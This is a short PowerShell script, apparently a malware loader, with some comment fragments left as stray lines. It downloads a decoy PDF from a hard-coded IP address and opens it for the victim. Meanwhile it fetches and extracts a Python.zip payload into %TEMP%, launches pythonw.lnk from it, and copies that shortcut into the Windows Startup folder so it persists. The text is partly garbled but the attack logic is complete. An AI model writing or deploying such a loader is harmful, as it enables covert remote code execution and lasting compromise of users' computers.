$serverUrl = "http://83.217.208.90/documents/files/zip" # URL
/var/www/html/documents
$pdfFileName = "1710407310845.pdf" #
$zipFileName = "Python.zip" #
$tempPath = "$env:TEMP" #
$pythonFolder = Join-Path -Path $tempPath -ChildPath "Python" #
Python
$startupFolder = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" #
%TEMP%
$pdfLocalPath = Join-Path -Path $tempPath -ChildPath $pdfFileName
(New-Object System.Net.WebClient).DownloadFile("$serverUrl/$pdfFileName", $pdfLocalPath)
Start-Process $pdfLocalPath
$zipLocalPath = Join-Path -Path $tempPath -ChildPath $zipFileName
(New-Object System.Net.WebClient).DownloadFile("$serverUrl/$zipFileName", $zipLocalPath)
%TEMP%
Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::ExtractToDirectory($zipLocalPath, $tempPath)
pythonw.lnk
Python
$pythonwLnkPath = Join-Path -Path $pythonFolder -ChildPath "pythonw.lnk"
while (-not (Test-Path $pythonwLnkPath)) {
Start-Sleep -Seconds 30
pythonw.lnk,
if (Test-Path $pythonwLnkPath) {
Start-Process $pythonwLnkPath
# 7.
pythonw.lnk
$startupLnkPath = Join-Path -Path $startupFolder -ChildPath "pythonw.lnk"
Copy-Item $pythonwLnkPath -Destination $startupLnkPath -Force
Write-Host "
pythonw.lnk
} else {
Write-Host "
pythonw.lnk
Python!"